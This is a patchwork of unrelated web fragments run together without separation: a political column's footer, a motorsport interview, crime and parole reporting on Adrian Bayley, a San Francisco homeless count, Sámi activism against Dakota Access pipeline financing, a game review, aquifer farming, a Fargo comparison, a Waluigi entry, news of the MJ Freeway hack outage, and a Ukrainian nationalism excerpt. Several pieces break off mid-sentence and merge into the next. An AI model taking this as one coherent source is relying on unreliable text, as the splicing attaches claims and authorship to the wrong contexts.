And if that isn’t the definitive argument for regime-change in Washington, then I don’t know what is.
NOTES IN THE MARGIN
You can check out my Twitter feed by going here. But please note that my tweets are sometimes deliberately provocative, often made in jest, and largely consist of me thinking out loud.
I’ve written a couple of books, which you might want to peruse. Here is the link for buying the second edition of my 1993 book, Reclaiming the American Right: The Lost Legacy of the Conservative Movement, with an Introduction by Prof. George W. Carey, a Foreword by Patrick J. Buchanan, and critical essays by Scott Richert and David Gordon (ISI Books, 2008).
You can buy An Enemy of the State: The Life of Murray N. Rothbard (Prometheus Books, 2000), my biography of the great libertarian thinker, here.
Read more by Justin RaimondoLast year Alexander Mies shot to fame when he won the VLN championship with might. Eight wins in ten races together with co-pilot Michael Schrey caught the attention of GetSpeed Performance, who have signed the young German for a season in the Vodafone Porsche 991 GT3 Cup. On the eve of the new Nordschleife season we talked with the champion about what brought him here and where he wants to go.
Racing is in the blood of Alexander Mies. Ever since he was a kid he traveled to the Nürburgring with his family to watch his father Peter Mies race in VLN.
“It’s already been a few years since my father raced in VLN,” Mies recalls the weekends spend in the Eifel. “When he was my age, beginning to mid-20s, he raced rally cars and did that very successfully. He was set to become a factory driver but ran out of money that same year.
“So, he had to concentrate on the business instead. We have an aluminum firm that he built up. After that he just raced as a hobby, |
0 and March 2001 against prostitutes in the St Kilda area. By 2011 he was out of prison, but on parole until March 2013. A handcuffed Adrian Ernest Bayley arrives at court on Tuesday morning. Credit:Jason South Bayley appeared in Geelong Magistrates Court in February last year and pleaded guilty to king-hitting a 20-year-old man, breaking his jaw and leaving him unconscious. Prosecutor, Leading Senior Constable David Vanderpol, said the victim was eating outside a cafe about 1.30am when Bayley started abusing him and punched him in the face. "The power of the blow lifted the victim off the ground and knocked him unconscious to the ground, striking his head as he fell," Senior Constable Vanderpol said.
Bayley was convicted and sentenced to three months in prison, but then appealed against the sentence. Because he was appealing, he was released from custody on the basis that by the time the appeal was heard, he might already have served the three months to which he was initially sentenced. However, it is not clear why the Parole Board did not breach him despite his long history of violent sexual offending. It meant he was free to rape and murder Ms Meagher in September. The police also notified the Parole Board when Bayley was arrested for the assault, after doing a routine check on the parole status of people arrested. Under new laws introduced this year, serious offenders convicted of further serious crimes while on parole will have their parole cancelled automatically. There will also be a presumption that offenders will have their parole cancelled when they are charged with a new offence.
It has also emerged that police were forced to move early to arrest Bayley after his parole officer inadvertently tipped him off that he was wanted for questioning. Police asked the Parole Board to schedule a meeting with Bayley — who they already suspected of Ms Meagher's murder — but to describe it as routine so as not to alarm him. They intended using the meeting to sow seeds of suspicion in Bayley's mind, in the hope that he would return to the place where he buried Ms Meagher, thereby leading them to her body. Loading However, when the parole officer contacted Bayley, he or she said the police needed to meet him urgently, thereby unwittingly tipping him off that he was under scrutiny from the homicide squad.
Police heard the conversation because they were tapping Bayley's phone, and had to move on the suspect early. However, when they raided Bayley's house, they found Ms Meagher's mobile phone SIM card, which formed a central plank in the case against Bayley.Once every two years on a night in late January, hundreds of volunteers spread out across The City, armed with clipboards and flashlights. Peering into parked cars, into bushes in parks and elsewhere, they count -- tallying the number of people sleeping on the streets and in shelters.
The number they come up with is the result of the biannual homeless count, and is used to answer the question, "How many homeless people are in San Francisco?" for the next two years.
The results are not foolproof, but it's the only data The City has to size up its homeless problem.
The last time, the answer was 6,403 -- plus another 914 unaccompanied youths tallied earlier during the effort, for a total of 7,035 homeless people in San Francisco, according to the 2013 results.
This year's count is Jan. 29, when organizers say more than 300 volunteers are needed to help analyze how The City's street population is faring as the tech-fueled economic and real estate booms continue.
The count also determines how much money The City receives from the federal government for housing and services for homeless people.
In 2013, that number was $23 million, part of the Human Services Agency's $103 million housing and homeless budget.
Some homeless advocates note that a problem with the survey is that there are many more homeless people in The City sleeping in single-room-occupancy hotels, on friends' couches or with family who are never counted.
Those people don't meet the federal government's definition of homeless, one of the reasons why some local advocates criticize the biannual ritual of the count.
"It deceives people," said Paul Boden, executive director of homeless advocacy nonprofit Western Regional Advocacy Project.
City officials could not be reached on the Monday holiday, but according to Boden, who served as the Coalition on Homelessness' director for 16 years, "You're better off giving money to panhandlers."
Under federal law, someone is homeless if they are living in a shelter or in a place "not designed or ordinarily used for regular sleeping accommodation for human beings," including in vehicles, camping in parks, or squatting in abandoned buildings.
That means someone without a permanent address who's crashing with friends, in an SRO hotel, in jail, a hospital or in rehab is not technically homeless under federal Department of Housing and Urban Development rules.
However, they are considered homeless under The City's definition of homelessness. This helps explain the discrepancy between how many students San Francisco Unified School District says are homeless (2,100) and how many homeless school-age children were found during the 2013 count (no more than the 679 people in families counted during the count, plus 134 unattended youths under 18 years old discovered on their own).
For now, this vague definition is what The City has to work with: An effort last year by Sen. Dianne Feinstein that would have redefined homeless on the federal level died in committee.
So how many homeless people are in The City? More than can be counted -- literally. But a count is needed and will be done just the same.
Counting the homeless
Local governments receiving federal funding for homeless programs must participate in a biannual point-in-time homeless count. San Francisco's count is coming up next week, and more than 300 volunteers are needed to make The City's tally.
When: Jan. 29
7 p.m. to 11 p.m. or midnight (volunteers used for 4-6 hours)
To volunteer: www.surveymonkey.com/s.aspx?sm=CjLdSjAocSEFyA8ygq7tfQ_3d_3dOn November 8, 2016, Beaska Niillas, chairman of the Norwegian Sámi Association (NSA) walked into a conference room in Oslo, Norway, with his wife, Sara Marielle Gaup Beaska, who had spent time in Standing Rock. Both are members of the Sámi Parliament and Beaska is a member of the Norwegian Society for the Conservation of Nature. Niillas and Beaska flew over 1,000 miles from their home in Finmark, the homelands of the Indigenous Sámi people and the most northern province of Norway located above the Artic circle.
Niillas set up a meeting with executives at DNB, Norway's largest bank, to demand that they withdraw their investment in the Dakota Access pipeline (DAPL).
"It is natural that we would try to help Standing Rock. It is easy for Indigenous people around the world to recognize the struggle. We see what they are going through and we feel it. There is no them, only us," Niillas said in a Skype interview with Truthout.
In his hands was a 20-page report documenting the human rights abuses that members of the Standing Rock Sioux tribe and their allies have experienced at the hands of the state of North Dakota and Dakota Access LLC's private security firm. Thousands have gathered to assist the Standing Rock Sioux tribe in protecting the area from the construction of the $3.7 billion project that would transport crude oil from the Bakken oil field in North Dakota to a refinery to near Chicago.
The story of how the Sámi received that report illustrates how international networks of Indigenous people are challenging the power structure behind the oppression of Indigenous people all around the world, Niillas said.
DNB, a direct investor and loan provider to the Dakota Access pipeline, loaned $120 million to the Bakken pipeline project and extended $460 million in credit lines to companies with ownership stakes, specifically Energy Transfer Partners, Sunoco Logistics, Phillips 66 and Marathon.One of the greatest anime and manga’s of recent years has now received its very own game adaption. Omega Force and Koei Tecmo are bringing Attack on Titan to Consoles and PC this week. Attack on Titan retells the key moments from the first season of the animated series and takes place in a world where citizens must hide behind large walls to protect themselves from human-eating giants whom are invading their city. Their only other defense is the military, who are trained to fight these invaders using strategic attacks and 3D Maneuvering gear.
Review
I’ll start with the controls, which may have been the most complicated part of the entire game. The characters of AoT rely on Vertical Maneuvering Equipment which is special equipment that allows mobility whenever they are facing Titans, or even just getting from Point A to Point B. It did take some getting used to, zipping from Titan to Titan or building to building. Zipping around actually reminded me of a few previous Spider-Man games. I was really impressed by how well this feature played. Sure, there were a few moments where I found myself running into a wall, or stuck in a corner after panicking and surrounded by Titans but the overall mechanism and gameplay was much smoother than I was expecting. I played this on the Xbox One. I understand this game is also getting a release on PC as well, which leads me to question how are those keyboard users dealing with the controls, I’d imagine it’s a nightmare. (PC users, let us know your thoughts in the comments below.)
The story itself isn’t an original story. Actually, It’s more of a retelling of season one of the anime series. This was not quite a deal breaker for myself, in fact, I had not watched the series since it’s first debut so it was a nice refresher. Also, it is subtitled. I did see this issue come up quite a bit from fans when the game was first announced but It didn’t affect my gameplay at all. Even if you are new to the series, following the plot is rather easy. This was actually how I managed to watch the first season as well, as the English version had not made it’s debut at the time. The original cast from the Japanese series came back to voice their characters. The main story, as I said, basically is a copy-and-paste of the series but there are also side quests the player can partake in outside of the main story line. Between missions, players also have the option to talk to other characters in the game, a lot of times they will fill in the smaller points that the main quest didn’t quite cover.
The only enemies of the game, which is of no surprise of course, are the Titans. They come in different variations and sizes, and will require you to zip and weave past and between them to save your city. To take down a Titan, there are 5 points of the body you must target: The arms, legs and of course the Titans weak point, the Nape. To raise your chances of obtaining some of the harder to find materials, which are used to upgrade your gear, you will want to attack the arms and legs prior to going for the kill-shot. Another great feature is the ability to give other members orders. Throughout the map of whatever mission you are on, there will also be smaller side missions scattered around the map as well as other characters you can recruit and give commands to, such as “Guard”, or “Focus”. This was a definite plus whenever getting ambushed by 4 or 5 Titans at a time. The enemies, and side quests appear in waves, similar to the Dynasty Warrior series.
Although, slashing and dashing through Titans and getting reacquainted with the story from the series may be entertaining to some, I can see this game getting awfully repetitive for those unfamiliar or not quite invested into the series and are just looking for a hack and slash. Each level includes either saving or escorting your comrades, while ripping through countless Titans to face a larger “boss” Titan at the end of each level.
The length of the main story was rather short, I spent a total of about 10 hours playing the game. I would have loved to have seen some more story outside of the first season of the series. Yes, a lot of the side quests tend to quench that thirst, but only for a limited time. The manga has is about 19 volumes long and unless they are working on a sequel to be released after the second season, I feel like we could have gotten more gameplay based on the original content. There are still side-quests to be done after the endgame and a small epilogue is included, which was a nice surprise but not too impressive. By completing these missions, such as killing a specific amount of Titans in a certain amount of time, or saving a specific amounts of teammates, you can unlock items such as costumes and gear to equip to your character.
Overall, If you are a fan of the series, like fast-paced or Dynasty Warriors style gameplay, I would suggest picking this game up. As an Attack on Titan fan, this game absolutely does the series justice and is a nice companion pieces to the show or manga. Although, I have finished the main quest, I think I’ll continue making my way through all the side missions as well, as it is a game that really caters to the fans of the manga/anime, such as myself. Annihilating Titan after Titan can be really fun, especially it condensed spaces, just wish the overall story was a bit longer. Perhaps we may get some DLC in the near future.
**Stay tuned when I update my review to include multiplayer gameplay. For those who purchase the game on Xbox One and would like to join us for a few matches, let us know in the comments below.
Attack on Titan will be available on PlayStation 4 and Xbox One, and available digitally on PlayStation 3, PlayStation Vita and PC via Steam on August 30th.Brownback, a practicing Catholic, connects his faith to conservation, and the urgency to protect the Ogallala.
“I think God gave us this beautiful place,” he says. “He gave us a fabulous aquifer, and we need to be responsible with that and see that future generations can use that, as well. There’s also that interesting sidebar: the idea of forming communities, the way Francis of Assisi and many others would look at community … which is: ‘You don’t do this on your own. You don’t do anything on your own. You got a body of people here with you.’ And that’s a central idea around the LEMA. The community helps each other.”
Watch NBC Learn and the National Science Foundation's video on the future of the Ogallala Aquifer.
As the Ogallala is being drained, attention in the High Plains is turning to corn, the crop that’s highest in demand, fetches the highest price and is increasingly controversial.
Corn is a thirsty crop, and some question the inherent morality of using so much land and water to raise it, especially because so little of the corn grown in the U.S. is served as food. It’s either fed to cattle, or made into ethanol. Since 1980, it is estimated the U.S. government has spent $45 billion to subsidize ethanol production.
For farmers like Mitch Baalman, corn presents an immediate math problem. On average, a corn crop needs 24 inches of water during its growing season. But, under the rules of the new LEMA, that total would represent nearly half of his five-year allotment.
“We’re going to have to change the mindset,” Baalman says. “Pull the throttles back. Plant more alternative crops. We’re just not going to be corn, corn, corn—even though that’s what the insurance is telling us and that’s what the government is subsidizing. I would love to raise corn, too. But we can’t.”
Baalman is admittedly more of a CEO than a hands-on farmer. He’d be lost without his virtuoso head mechanic, Marvin Kaus, and his computer guru, Trent Lambert. Baalman’s investment in tractors, sprayers, and combines –as big as a house, as complex as a commercial jet—is $4 million alone.I’ve recently finished FX’s wonderful series Fargo starring the tator loving Billy Bob Thornton. Before watching the show I pulled out 1996’s Fargo, just to refresh the ol’ mind. The movie is filled with dark comedy that I didn’t really get in the 90’s as a teen, but after rewatching it almost 20 years later, I was howling. Indeed, as we get older, life just gets more cynical.
If you love the film, you will most likely appreciate the show, and to really drive home how serious the creators of the show were, they tacked on the Coen Brothers to help with production. So which is better? Well, let’s figure out who wins in a little competition…
SPOILERS AHEAD. YOU HAVE BEEN WARNED!
Jerry Lundegaard (William H. Macy)
One of Macy’s most applauded roles, Lundegaard is a ball of hopeless nerves. Noticeably anxious about everything, he has come up with an idea to earn some cash by hiring a couple of thugs to kidnap his wife for a ransom transaction through her father. Lundegaard is noticeably a bit more greedy than his TV show counterpart, and seems to show no guilt towards his wife’s demise. Lundegaard really has no moment in the film where he can be “liked,” but like many of the characters in this film, it is easy to build up a bit of sympathy because most of them are extremely undereducated and very slow. It also should be mentioned that Lundegaard is a car salesman, so the show and the film establish that this particular character is indeed a salesman.
Lester Nygaarde (Martin Freeman)
The central character of the show, Lester is a confused insurance salesman who starts out as clueless and buffoonish as his film counterpart. Lester, however, goes through a very deep transformation. He moves from incompetent dork to a very calculating figure who eventually manages to outsmart himself. Lester manages to fill a scope of reactions from viewers such as pity, anger, disgust, and then pity all over again. As the show ends there is a moment shared with a couple of FBI agents (Keegan-Michael Key and Jordan Peele of Key and Peele fame) where Lester’s ignorance may have been a mixture of his anxiety and a well thought out plan. His reaction with the bad guys of the show are a bit more chaotic than the film, as he is not trying to set something up to score a ransom check. Where Lundegaard set everything up, Nygaarde actually fell into the workings of Lorne Malvo.
WINNER: Lester Nygaarde
I had to go with Martin Freeman in this show because he managed to really sell the Lester character. I felt that Macy’s portrayal was one dimensional, while Freeman managed to be lively and well-rounded. I think Freeman researched Macy’s role, and built off of it. By doing that he made a better character. Just seeing the evolution of Lester Nygaarde was an experience all on its own!
Jean Lundegaard (Kristin Rudrüd)
Jean is the daughter of the rich dickhead, Wade Gustafson. She loves her husband, Jerry Lundegaard, dearly and shows nothing but love and concern for her troubled husband. While he works and panics about bills, Jean cares for him and coddles him. She truly is the serving wife who cares for her man. The fact that Jerry gets Jean killed makes it easy to hate him. Even in the face of financial ruin, Jean seems to never hold any anger against her husband. She is kind of dumb, and is a strong source of duress for her captors up until the rather sad moment where she is killed. Jean trusted her husband unquestionably, and even though her character did not have a powerful presence, she helped frame Jerry’s lack of morality.
Pearl Nygaard (Kelly Holden Bashar)
Lester’s wife is nothing short of a bitch. Lester begins this show as a character that the viewer pities. He is a weak and beaten down man who just wants to be left alone, but his lack of masculine characteristics is highlighted by every character he comes into contact with, especially Pearl. The acting of Pearl was okay, but Lester’s wife was not a very influential character. Her death was primarily used as a stepping stone for Lester to man up and Lorne Malvo was the catalyst. I did applaud her death because I dislike mean people and abusive spouses. She was not a huge figure in the show and while I believe her death was absolutely necessary as is, I think the writers could have built her up as a more vile character at least.
WINNER: Fargo Film
This was difficult because these two characters are opposites. Pearl is an asshole and Jean is a dimwit. I choose Jean because she was an important figure throughout the film, and a relationship was allowed to be built (somewhat) with viewers. Pearl is unlikable and lacks any significant character development. Pearl Nygaarde feels so underdeveloped, she feels like a an extra. Perhaps some flashbacks, or maybe keeping her in for the first few episodes to build the tension would have made her a better character.
Gaear Grimsrud (Peter Stormare)
Gaear is easily the most evil person in this film and he shows no remorse for his actions. He has no pity for his victims and is very apathetic towards his partners concerns. If one were writing a paper on this film, the writer would identify Gaear as Satan, due to the chaos he brings to to the plot and his dislike of order and life itself. His effect on the story is very powerful because he kills a well loved character, and even shows his lack of loyalty by feeding his partner into a wood chipper (likely the most memorable scene from the film). Gaear is directly comparable to Lorne Malvo in his cruelty, but fails to show the intelligence. Where Malvo is cold and calculating, plotting and planning, Gaear is just cold. This does not take away from his brutality, as he sees killing as a viable option any time a witness may be involved. He is not a likable character, and that really helps to make him strong.
Lorne Malvo (Billy Bob Thornton)
Oh. My. God. Billy Bob should get every award available this year for his role as Lorne Malvo. He manages to bring a whole new level of blackness to the dark comedy of Fargo. He truly is a master on screen and you can tell that he is having a fucking blast playing a totally ruthless, yet almost lovable hero. His involvement in every aspect of the show really supports the idea that his character could also be identified as Satan. He always seems to know what is going on, and the writers made sure that he seemed to have supernatural powers, yet also showing us how he did everything. Malvo’s demise is a bit hard to swallow because Thornton’s character was so enjoyable. That event, and how it happened, was one of TV’s most powerful moments. Lorne Malvo is one of the most impressive villains of television. It’s as if Cormac McCarthy himself (No Country for Old Men, The Road) came over to the studio and wrote this godlike character himself. Actually, Malvo borrows many characteristics from No Country for Old Men’s Anton Chigurgh.
WINNER: Fargo TV
To not give Billy Bob the victory here would be silly. If a college student is ever going to write about a character from the Fargo universe, they are going with Lorne Malvo. His ability to cause chaos, and unwavering dedication to his work is why he is the strongest character on television right now. Sadly, he will probably not be in the second season of Fargo (Word is, it will be an anthology show with a different cast each season). Thornton’s performance has managed to put TV one more rung closer to the top of the TV vs Film battle.
Two Not Super Evil Bad Guys
Something that is hard to compare the film to the TV show is the cast is hugely lopsided for television. There are not many bad guys to talk about on the film, in fact, there are only three, but two aren’t twisted demons hellbent on killing everyone. First up is Wade Gustafson (Harve Presnell), father-in-law of Jerry Lundergaard. He is a terribly greedy old fart who visibly shows great disdain for his son-in-law. When asking for a loan to start a business, not only does Wade deny Jerry the assistance, he undercuts Jerry to profit from it himself. I suppose Jerry had a reason to be a dick after all. The next bad guy is Gaear’s sidekick, Carl Showalter (Steve Buscemi), who really works his acting chops to carry him and his co-star through the film. Buscemi’s role is memorable and his psychopathy is convincing enough to get the idea that not only is he dumb, he is kind of dangerous. Bad decision after bad decision leads to catastrophe for the duo. The formula is pretty simple: Carl plans something, it goes wrong. Gaear solves the problem by making it worse (if that’s possible).
So Many Bad Guys of Differing Degrees!
Okay, so in the show you have the primary bad guy, Lorne Malvo. Supporting the bad guy side, however, we have Sam Hess (Kevin O’ Grady) and his family, who take joy in bullying and making Lester’s life a living Hell. Sam is also affiliated with the mob, which, upon his rather violent and bloody departure from the show introduces us to two rather interesting characters. Mr. Numbers (Adam Goldberg), the leader of a duo of hitmen, acts as a translator for Mr. Wrench (Russell Harvard), who is deaf. These two fellows are serious about their work, and they do manage to do a bit of damage. They engage in quite the gunfight with Lorne Malvo as they try to avenge Sam Hess. Their presence in the show is rather welcome, and the sarcasm of Mr. Numbers is hilarious at times. Also in the villain line up is Stavros Milos (Oliver Platt) who is the primary target for Lorne Malvo. The things that Malvo does to Milos is brutal and these little incidents establish a legendary status of the hit man.
WINNER: Fargo TV
As well as Steve Buscemi did in the film, he could not compete against such a roster of great acting and better writing. Mr. Wrench and Mr. Numbers really did add an unexpected element as they were put to task to assassinate not only Lorne Malvo, but also, to make life Hell for Lester. As a film, I understand they could not allot for a large roster of bad guys, but we could have gotten some stronger writing. Why on Earth did Carl Showalter have to be a dunce? He buried money in the snow…like a dumb ass. Interesting note, Stavros Milos found a suitcase of money that was hidden identically like the way Carl hid his money. I don’t know why they chose to do this, but they did, and it confused me slightly.
Chief Marge Gunderson (Frances McDormand)
Marge is the chief of police in Fargo, and she is also pregnant. Not a little pregnant, but waddles around pregnant. She is a strong female lead portrayed by a decent actor. Though she seems clueless at times, she is no slouch. Her politeness is endearing and her Minnesotan voice/accent gives her that “nice gal” appeal. She is rather spry for a pregnant lady as well, as she manages to catch the crooks. Marge is probably the most intelligent person in this film and is also the most independent. She makes few errors and is a master of conversation. We see no growth with Marge, however. She enters the film at level 10 and leaves at level 10. She really is so laid back, that she makes the events in Fargo seem like every day events. She also has very little resistance against her investigation, unlike her television counterpart.
Deputy Molly Solverson (Allison Tolman)
Molly is the mirroring character of Marge, but it may be confusing on just how. Molly is an oaf, and she lacks a prego belly. She is a deputy, not a chief, and she is taken as a joke by all of her coworkers. Molly grows quite a bit in this show and she does eventually come to be like Marge toward the finale (baby bump included). Molly goes from department doofus, to aspiring leader after her chief is summarily executed by Lorne Malvo. That event causes her to evolve into a more involved detective. She relies a bit on Gus Grimly (Colin Hanks) to put her investigation together, even though he is absolutely incompetent at doing police work. His clueless mind buys a lot of sympathy from Molly, and eventually, he signs, seals, and delivers a conclusion so final, that in that moment, he is propelled to hero of the day. Molly is indeed a powerful character at the end, but a very weak character (all around) at the beginning. I found myself not really caring about this character until she started being more similar to Marge. This starts happening about halfway through the show.
TIE
I really can’t pick a winner here. Marge made the film for me, she was likely the most powerful character. Molly, while weak at first, evolves into Marge, but perhaps that comes too little too late to make a choice. Watching Molly’s evolution was enjoyable, but watching Marge just roll over everything as Fargo’s chief of police was definitely one of the film’s highlights.
Roger Deakins (Cinematographer)
Deakins has quite the filmography under his belt, especially a great deal of work with the Coen Brothers. For this film, he captured the sense of pure cold in Minnesota. He managed to make the weather a real character in the film. From filming a high speed chase through a snow storm to filming some fancy aerial views, every shot seemed to make the story of Fargo more compelling. There were a lot of panoramic views of events, which managed to capture the emptiness of the area. Night shots were beautifully done and perfectly lit.
Matthew J. Lloyd (Cinematographer)
Lloyd seems to be a pretty new fish in the pond of photography. His biggest work to date is this show, and looking at his credits, he has been involved in some smaller projects. If a person has ever shown what he can do with a camera, Lloyd does it in spades. This show borrows a great deal from the Coen’s other films, but manages to make the experience feel unique. Wide, expansive shots and beautifully done tracking shots establish a level of genius that the film did not even approach. There are several major scenes that will make you gasp, simply because the crew working the cameras were that damn good.
WINNER: Lloyd
Both the film and the movie are superb, but Lloyd, taking advantage of the Television format that allows for time to set up unique, dramatic shots, really surpassed the show’s predecessor. Not only did he borrow from some of the styles of the film, he managed to improve them and make them more interesting. He also dared to try some very unique shots that we do not see very much on TV. For example, pay attention to..hell, here is an example:
Well, all of this reflection has truly put me in a great mood. The show beats the film this time, and is it so surprising? The source material was already superb, with a little effort, and almost 20 years of progression in film technology and writing styles, the show was a surefire success. I highly advise that you watching this show and just chill and enjoy the ride. It’s wild. If you want to have a little more fun, watch the film first and try to find similarities between the film and the movie. I won’t spoil those surprises!Waluigi (Japanese: ワルイージ, Hepburn: Waruīji, pronounced [ɰa.ɾɯ.iː.ʑi]; English: ) is a character in the Mario franchise. He plays the role of Luigi's arch-rival and accompanies Wario in spin-offs from the main Mario series, often for the sake of causing mischief and problems. He was created by Camelot employee Fumihide Aoki and is voiced by Charles Martinet, who described Waluigi as someone who has a lot of self-pity and would "cheat to win."
First debuting in the 2000 Nintendo 64 game Mario Tennis to polarizing reception from the media, Waluigi has since attained a cult following,[1] especially helped through his use as an Internet meme.[2]
Creation and characteristics
The symbol " Γ " on Waluigi's hat and gloves
Waluigi was created during the development of the game Mario Tennis, to serve as the bitter rival to Luigi. He was created by Fumihide Aoki and is voiced by Charles Martinet.[3] His name is a portmanteau of Luigi's name and the Japanese adjective warui (悪い) meaning "bad"; hence, a "bad Luigi".[4]
He is said to be a mischievous, cunning man.[5] Martinet stated that the cornerstone of Waluigi's personality is one of self-pity, a character who feels that everything goes right for everyone but himself.[6] As displayed in Mario Power Tennis and Mario Hoops 3-on-3, Waluigi features the ability to summon a body of water and swim towards each game's respective ball, which IGN editor Rob Burman described as "baffling".[7]
He is the same age as Luigi[8] and wears black overalls, a purple long-sleeved shirt, a purple hat with a yellow "Γ" symbol (an inverted L, paralleling Wario's W as an upside-down M), orange shoes, and white gloves with a yellow "Γ" symbol as well. When asked whether Waluigi was a brother to Wario, Martinet stated that while he did not know, he felt that they were just "two nice, evil guys who found each other".[9]
Appearances
Waluigi's first two appearances were in the Nintendo 64 and Game Boy Color versions of Mario Tennis, establishing himself as Luigi's supposedly long time rival and Wario's doubles partner, whom he would remain partners with for most future installments, the one exception being Mario Tennis: Power Tour, the only time that he appeared in-game without Wario. Since his introduction, Waluigi has appeared as a playable character in every Mario sports game. Notably in Mario Golf: Toadstool Tour and Mario Power Tennis, he holds up the sign for Camelot Software Planning to signify the game developers in the opening movies.
Alongside Princess Daisy, Waluigi would also join the Mario Party series starting with Mario Party 3, where he owns an island filled with traps and explosives. In the game's story mode, he is faced as the penultimate foe after he defeats Bowser.
Waluigi also appears in the Mario Kart series, first appearing in Mario Kart: Double Dash. He would go on to be featured in all future console installments with the exception of Mario Kart 7, where he was cut due to time constraints despite his stage, Waluigi Pinball, being selectable.[10]
Waluigi's most significant role to date was as the main antagonist of Dance Dance Revolution: Mario Mix, in which he wreaks havoc in the Mushroom Kingdom by pilfering special objects called the Music Keys to hypnotize the world with his dancing, hoping to conquer it and spread chaos.[11] The rest of the keys are held by a Blooper, Wario, and Bowser, respectively.
In the Super Smash Bros. series, starting with Brawl, Waluigi appears non-playable as an Assist Trophy item, while his purple color palette appears as one of Luigi's alternate costumes and in later installments, for Mario and Wario as well. During Waluigi's reveal for Super Smash Bros. for Nintendo 3DS and Wii U, game director Masahiro Sakurai jokingly stated that "just because you try hard doesn't mean you'll make it into the battle."[12] He was also used as an example for K.O.ing assist trophies during the gameplay reveal of Super Smash Bros. Ultimate.[13]
As for minor appearances, Waluigi appears in Super Mario Maker as an unlockable Mystery Mushroom costume for Mario to wear in the Super Mario Bros. style. Although he does not make an appearance in Paper Mario: The Thousand-Year Door, if the player has both the Wario emblem and the Luigi emblem equipped at the same time, Mario will be dressed in the colors of Waluigi. In Super Mario Odyssey, an outfit modeled after Waluigi's own can be purchased in-game and worn by Mario after the player has either scanned the Waluigi amiibo or collected enough Power Moons; the description mentions his desire for the spotlight. Waluigi makes a very brief appearance in Mario + Rabbids Kingdom Battle as a figurine in the opening, however, a Rabbid version, named Bwaluigi, appears as a boss alongside Wario's Rabbid counterpart; Bwario.
Reception
Since his appearance in Mario Tennis, Waluigi has received a mixed reception. Gamervision editor Jonathan Cooper wrote an article entitled "Ten Reasons Waluigi Is Awesome," listing such qualities as his developed personality, his role in Super Smash Bros. Brawl, and his role in Mario sports games.[14] In the book "Icons of Horror and the Supernatural: An Encyclopedia of Our Worst Nightmares, Volume 1", author S. T. Joshi cites both Waluigi and Wario as examples of alter egos, also as evidence of how popular it is to feature such character archetypes.[15] IGN editor Matt Casamassina described him as a recognizable mascot to many, but also as a beloved one to Nintendo fans.[16] Hiroyuki Takahashi, a developer for Mario Power Tennis listed him, along with his companion Wario, as his favorite character in Power Tennis, describing them both as detestable heels, adding that he likes characters with more personality.[17] Gamingillustrated.com's writer Greg Johnson, during his article about Mario Kart 8, described Waluigi's return as one of the game's bright-sides. An article in Gameranx.com, entitled "Waluigi: Unwrapping The Enigma," dwells in Waluigi's self-pity and ambiguous origins, describing him as one of the most misunderstood characters in video games, and more than capable of holding his own game.[18] In addition, Steve Haske, from Unwinnable.com wrote an article called "Defending Waluigi" that discussed Waluigi's partly negative reception, claiming Waluigi to be an even |
. “It’s more like ‘MJ Roadblock’ right now.”
Easley suggested that the lack of historical data for retailers isn’t as easy to gloss over as some observers may think.
That historical data, he pointed out, could become a serious issue in the event of, say, a product recall (Colorado has had many) or a lawsuit over contaminated cannabis.
“(Retailers) can’t go back and back up their data for their clients, to say, ‘This product was sold to this person on this day,’ so if those companies get sued in the future” they’re at risk because of the MJ Freeway episode, Easley said.
Tarnished reputation?
Green Bits’ Curren said many Nevada retailers went down during the crash because MJ Freeway built the entire seed-to-sale tracking system used by the state government.
“Even the whole state system, that got hacked. It’s down, the traceability system,” Curren said. “It’s pretty devastating. I’ve been in tech for 20 years, and I’ve never seen anything like this, ever. This will hurt their reputation forever. I don’t know how you recover from something like this.”
Moe Asnani, who runs the Downtown Dispensary in Tucson, Arizona, said he’s in the process of switching to Leaf Logix because there are various technical issues with most other providers.
He has soured on MJ Freeway because the Jan. 8 incident follows another technical glitch by the company in 2014.
“My biggest concern is, two years ago, when the interruption happened, they said they were migrating to Amazon Web Services, and they would have redundancies, that they’d have backups, and that it would be secure,” Asnani said. “I found out this time around that that was either not true or partially true.”
Ward said Tuesday that MJ Freeway is upgrading to Amazon Web Services, describing it as “the best security in cannabis” for the company and its clients.
But Asnani said MJ Freeway’s approach to solving the current crisis also rubbed him the wrong way.
“They put a lot of emphasis on getting ‘operational alternative sites,’ and they called our data ‘historical,’ but it’s our current data,” Asnani said. “That’s my patient from two days ago. Don’t call it ‘historical data.’ It’s operational data.”
He also thinks this could be enough to sink MJ Freeway.
“Nobody is like, ‘I’m going to stick with them regardless,’” Asnani said.
John Schroyer can be reached at [email protected]Ukrainian nationalism refers to the Ukrainian version of nationalism. Although the current Ukrainian state emerged fairly recently, some historians, such as Mykhailo Hrushevsky, Orest Subtelny and Paul Magosci, have cited the medieval state of Kievan Rus' as an early precedent of specifically Ukrainian statehood.[1] The origins of modern Ukrainian nationalism have also been traced to the 17th-century Cossack uprising against the Polish–Lithuanian Commonwealth, led by Bohdan Khmelnytsky.
Cossack nationalism [ edit ]
The Cossacks played a role in re-awakening a Ukrainian sense of identity within the steppe region.[2] A dominant figure within the Cossack movement and in Ukrainian nationalist history, Bohdan Khmelnytsky (c. 1595 – 1657), commanded the Zaporozhian Cossacks and led the Khmelnytsky Uprising against Polish rule in the mid-17th century. Khmelnytsky also succeeded in legitimizing a form of democracy which had been practiced by cossacks since the 15th century.[3] This sense of democracy played a key part of the sense of ethnic identity.[citation needed] Bohdan Khmelnytsky spoke of the liberation of the "entire Ruthenian people" and recent research has confirmed that the concept of a Ruthenian nation as a religious and cultural community had existed before his revolution.[4] Modern Ukrainians still remember and glorify Khmelnytsky's role in the history of Ukraine.
Another prominent figure in Cossack nationalism, Hetman Ivan Mazepa (1639-1709), made large financial contributions focused on the restoration of Ukrainian culture and history during the early 18th century. He financed major reconstructions of the Saint Sophia Cathedral in Kiev,[5] and the elevation the Kyiv Mohyla Collegium to the status of Kyiv Mohyla Academy in 1694.[5] Politically, however, Mazepa was misunderstood[by whom?] and misrepresented[by whom?], and found little support among the peasantry.[6]
Ukrainian nationalism in literature [ edit ]
One of the most prominent figures in Ukrainian national history, the Ukrainian poet Taras Shevchenko, voiced ideas of an independent and sovereign Ukraine in the 19th century.[7] Taras Shevchenko used poetry to inspire cultural revival to the Ukrainian people and to strive to overthrow injustice.[7] Shevchenko died in Saint Petersburg on March 10, 1861, the day after his 47th birthday. Ukrainians - not only the citizens of Ukraine, but Ukrainians who live throughout the world - regard him as a national hero. His collection of poetry Kobzar was the second book in almost every Ukrainian household in the beginning of 20th century (after the Bible). He became a symbol of the national cultural revival of Ukraine.
